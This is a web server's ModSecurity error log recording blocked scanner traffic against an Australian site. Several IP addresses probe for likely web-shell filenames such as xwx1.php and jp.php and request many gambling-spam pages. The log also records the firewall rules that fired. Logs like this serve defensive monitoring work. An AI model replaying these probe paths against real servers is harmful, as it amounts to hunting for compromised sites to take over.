[Sun Apr 12 12:15:36.482098 2026] [:error] [pid 26600:tid 26650] [client 20.215.64.75:54000] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adscaO1YwAZiXhQKLYrZbwAAAZU"]
[Sun Apr 12 12:15:36.995054 2026] [:error] [pid 25327:tid 25340] [client 20.215.64.75:59743] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adscaC6h2tZEVJo9JFKVHwAAAAQ"]
[Sun Apr 12 12:15:37.553486 2026] [:error] [pid 26599:tid 26623] [client 20.215.64.75:9590] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adscaXG89LXoQbk_rwCXpAAAAVU"]
[Sun Apr 12 12:15:38.089939 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:59755] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adscasxUaQZxT-e0YsCEEwAAAFA"]
[Sun Apr 12 12:15:38.631726 2026] [:error] [pid 25329:tid 25407] [client 20.215.64.75:9247] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adscamdcIYsS8Iyaj118lQAAAJI"]
[Sun Apr 12 12:15:39.183606 2026] [:error] [pid 26599:tid 26602] [client 20.215.64.75:9945] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adsca3G89LXoQbk_rwCXpgAAAUA"]
[Sun Apr 12 12:15:39.733541 2026] [:error] [pid 25328:tid 25368] [client 20.215.64.75:59092] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adsca8xUaQZxT-e0YsCEGQAAAEQ"]
[Sun Apr 12 12:15:40.300538 2026] [:error] [pid 25328:tid 25398] [client 20.215.64.75:9945] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adscbMxUaQZxT-e0YsCEGwAAAFQ"]
[Sun Apr 12 12:15:40.815729 2026] [:error] [pid 60280:tid 60284] [client 20.215.64.75:62930] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adscbHBlLnDOYuIykkimOwAAAcI"]
[Sun Apr 12 12:15:41.436987 2026] [:error] [pid 60280:tid 60300] [client 20.215.64.75:9944] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adscbXBlLnDOYuIykkimPgAAAdI"]
[Sun Apr 12 12:15:41.953995 2026] [:error] [pid 60280:tid 60282] [client 20.215.64.75:61003] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "adscbXBlLnDOYuIykkimQgAAAcA"]
[Sun Apr 12 12:15:42.499157 2026] [:error] [pid 60280:tid 60297] [client 20.215.64.75:51256] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "adscbnBlLnDOYuIykkimSQAAAc8"]
[Sun Apr 12 12:15:43.014134 2026] [:error] [pid 60280:tid 60294] [client 20.215.64.75:53964] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "adscb3BlLnDOYuIykkimTAAAAcw"]
[Sun Apr 12 12:15:43.583929 2026] [:error] [pid 25437:tid 25463] [client 20.215.64.75:9956] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "adscb3f97wYZje1ep_PItwAAANg"]
[Sun Apr 12 15:18:44.080078 2026] [:error] [pid 25329:tid 25376] [client 43.166.134.47:59470] [client 43.166.134.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adtHVGdcIYsS8Iyaj12QlQAAAIE"]
[Sun Apr 12 15:33:19.763564 2026] [:error] [pid 60280:tid 60283] [client 51.83.101.126:39632] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adtKv3BlLnDOYuIykkgIvwAAAcE"]
[Sun Apr 12 15:33:22.422308 2026] [:error] [pid 25327:tid 25357] [client 51.83.101.126:54006] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adtKwi6h2tZEVJo9JFKwmAAAABU"]
[Sun Apr 12 15:33:24.915052 2026] [:error] [pid 26567:tid 26579] [client 51.83.101.126:54012] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adtKxHhRpg6ptWFyFx1_gwAAAQo"]
[Sun Apr 12 15:33:27.420552 2026] [:error] [pid 25329:tid 25397] [client 51.83.101.126:42946] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adtKx2dcIYsS8Iyaj12SFgAAAIw"]
[Sun Apr 12 15:33:29.944282 2026] [:error] [pid 25329:tid 25393] [client 51.83.101.126:42956] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adtKyWdcIYsS8Iyaj12SGAAAAIo"]
[Sun Apr 12 15:33:32.400165 2026] [:error] [pid 25327:tid 25358] [client 51.83.101.126:42964] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adtKzC6h2tZEVJo9JFKwngAAABY"]
[Sun Apr 12 15:33:35.098788 2026] [:error] [pid 26567:tid 26591] [client 51.83.101.126:42980] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adtKz3hRpg6ptWFyFx1_igAAARY"]
[Sun Apr 12 15:33:37.630094 2026] [:error] [pid 25437:tid 25448] [client 51.83.101.126:38960] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adtK0Xf97wYZje1ep_P_ogAAAMk"]
[Sun Apr 12 15:33:40.251909 2026] [:error] [pid 26567:tid 26590] [client 51.83.101.126:38976] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adtK1HhRpg6ptWFyFx1_jwAAARU"]
[Sun Apr 12 15:33:42.838771 2026] [:error] [pid 25329:tid 25413] [client 51.83.101.126:38978] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adtK1mdcIYsS8Iyaj12SGwAAAJY"]
[Sun Apr 12 15:33:45.368889 2026] [:error] [pid 25437:tid 25455] [client 51.83.101.126:38992] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adtK2Xf97wYZje1ep_P_rgAAANA"]
[Sun Apr 12 15:33:47.859317 2026] [:error] [pid 25437:tid 25444] [client 51.83.101.126:47378] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adtK23f97wYZje1ep_P_sgAAAMU"]
[Sun Apr 12 15:33:50.426731 2026] [:error] [pid 25327:tid 25339] [client 51.83.101.126:47390] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adtK3i6h2tZEVJo9JFKwowAAAAM"]
[Sun Apr 12 15:33:53.070463 2026] [:error] [pid 25327:tid 25355] [client 51.83.101.126:47398] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adtK4S6h2tZEVJo9JFKwqwAAABM"]
[Sun Apr 12 15:33:55.495361 2026] [:error] [pid 25329:tid 25388] [client 51.83.101.126:47410] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "adtK42dcIYsS8Iyaj12SIAAAAIc"]
[Sun Apr 12 15:33:58.198068 2026] [:error] [pid 25329:tid 25404] [client 51.83.101.126:52162] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adtK5mdcIYsS8Iyaj12SIgAAAJA"]
[Sun Apr 12 15:34:00.818341 2026] [:error] [pid 60280:tid 60304] [client 51.83.101.126:52176] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adtK6HBlLnDOYuIykkgIxgAAAdY"]
[Sun Apr 12 15:34:03.166584 2026] [:error] [pid 26567:tid 26579] [client 51.83.101.126:52188] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adtK63hRpg6ptWFyFx1_lwAAAQo"]
[Sun Apr 12 15:34:05.627216 2026] [:error] [pid 26567:tid 26572] [client 51.83.101.126:52198] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "adtK7XhRpg6ptWFyFx1_mAAAAQM"]
[Sun Apr 12 15:34:08.313953 2026] [:error] [pid 60280:tid 60299] [client 51.83.101.126:48704] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adtK8HBlLnDOYuIykkgI4gAAAdE"]
[Sun Apr 12 15:34:10.814982 2026] [:error] [pid 25437:tid 25453] [client 51.83.101.126:48716] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adtK8nf97wYZje1ep_P_yQAAAM4"]
[Sun Apr 12 15:34:13.331212 2026] [:error] [pid 26599:tid 26617] [client 51.83.101.126:48722] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adtK9XG89LXoQbk_rwCtBwAAAU8"]
[Sun Apr 12 15:34:15.788488 2026] [:error] [pid 25328:tid 25366] [client 51.83.101.126:48738] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adtK98xUaQZxT-e0YsDNCwAAAEI"]
[Sun Apr 12 15:34:37.202372 2026] [:error] [pid 26599:tid 26623] [client 51.83.101.126:43388] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adtLDXG89LXoQbk_rwCtFQAAAVU"]
[Sun Apr 12 15:34:39.751909 2026] [:error] [pid 26600:tid 26651] [client 51.83.101.126:57660] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adtLD-1YwAZiXhQKLYoDIQAAAZY"]
[Sun Apr 12 15:34:42.217758 2026] [:error] [pid 26600:tid 26644] [client 51.83.101.126:57670] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adtLEu1YwAZiXhQKLYoDJQAAAY8"]
[Sun Apr 12 15:37:05.289298 2026] [:error] [pid 26600:tid 26642] [client 143.110.240.70:63085] [client 143.110.240.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "adtLoe1YwAZiXhQKLYoDZgAAAY0"], referer: binance.com
[Sun Apr 12 16:04:27.976600 2026] [:error] [pid 25437:tid 25449] [client 51.75.128.50:40684] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adtSC3f97wYZje1ep_MHtAAAAMo"]
[Sun Apr 12 16:04:30.526155 2026] [:error] [pid 26599:tid 26620] [client 51.75.128.50:59700] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adtSDnG89LXoQbk_rwCwmgAAAVI"]
[Sun Apr 12 16:04:32.983929 2026] [:error] [pid 60280:tid 60286] [client 51.75.128.50:59702] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adtSEHBlLnDOYuIykkgWpwAAAcQ"]
[Sun Apr 12 16:04:35.448108 2026] [:error] [pid 60280:tid 60288] [client 51.75.128.50:59714] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adtSE3BlLnDOYuIykkgWrgAAAcY"]
[Sun Apr 12 16:04:37.845946 2026] [:error] [pid 25437:tid 25445] [client 51.75.128.50:59728] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adtSFXf97wYZje1ep_MHxQAAAMY"]
[Sun Apr 12 16:04:40.374855 2026] [:error] [pid 60280:tid 60286] [client 51.75.128.50:45106] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adtSGHBlLnDOYuIykkgWsgAAAcQ"]
[Sun Apr 12 16:04:42.809510 2026] [:error] [pid 25328:tid 25383] [client 51.75.128.50:45116] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adtSGsxUaQZxT-e0YsDW6QAAAE0"]
[Sun Apr 12 16:04:45.219453 2026] [:error] [pid 60280:tid 60284] [client 51.75.128.50:45122] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adtSHXBlLnDOYuIykkgWtAAAAcI"]
[Sun Apr 12 16:04:47.560098 2026] [:error] [pid 25328:tid 25398] [client 51.75.128.50:45128] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adtSH8xUaQZxT-e0YsDW9QAAAFQ"]
[Sun Apr 12 16:04:49.890581 2026] [:error] [pid 25437:tid 25447] [client 51.75.128.50:45136] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adtSIXf97wYZje1ep_MHyQAAAMg"]
[Sun Apr 12 16:04:52.366832 2026] [:error] [pid 25437:tid 25444] [client 51.75.128.50:46896] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adtSJHf97wYZje1ep_MHzAAAAMU"]
[Sun Apr 12 16:04:54.717405 2026] [:error] [pid 25328:tid 25365] [client 51.75.128.50:46910] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adtSJsxUaQZxT-e0YsDW9wAAAEE"]
[Sun Apr 12 16:04:57.029925 2026] [:error] [pid 60280:tid 60289] [client 51.75.128.50:46924] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adtSKXBlLnDOYuIykkgWvwAAAcc"]
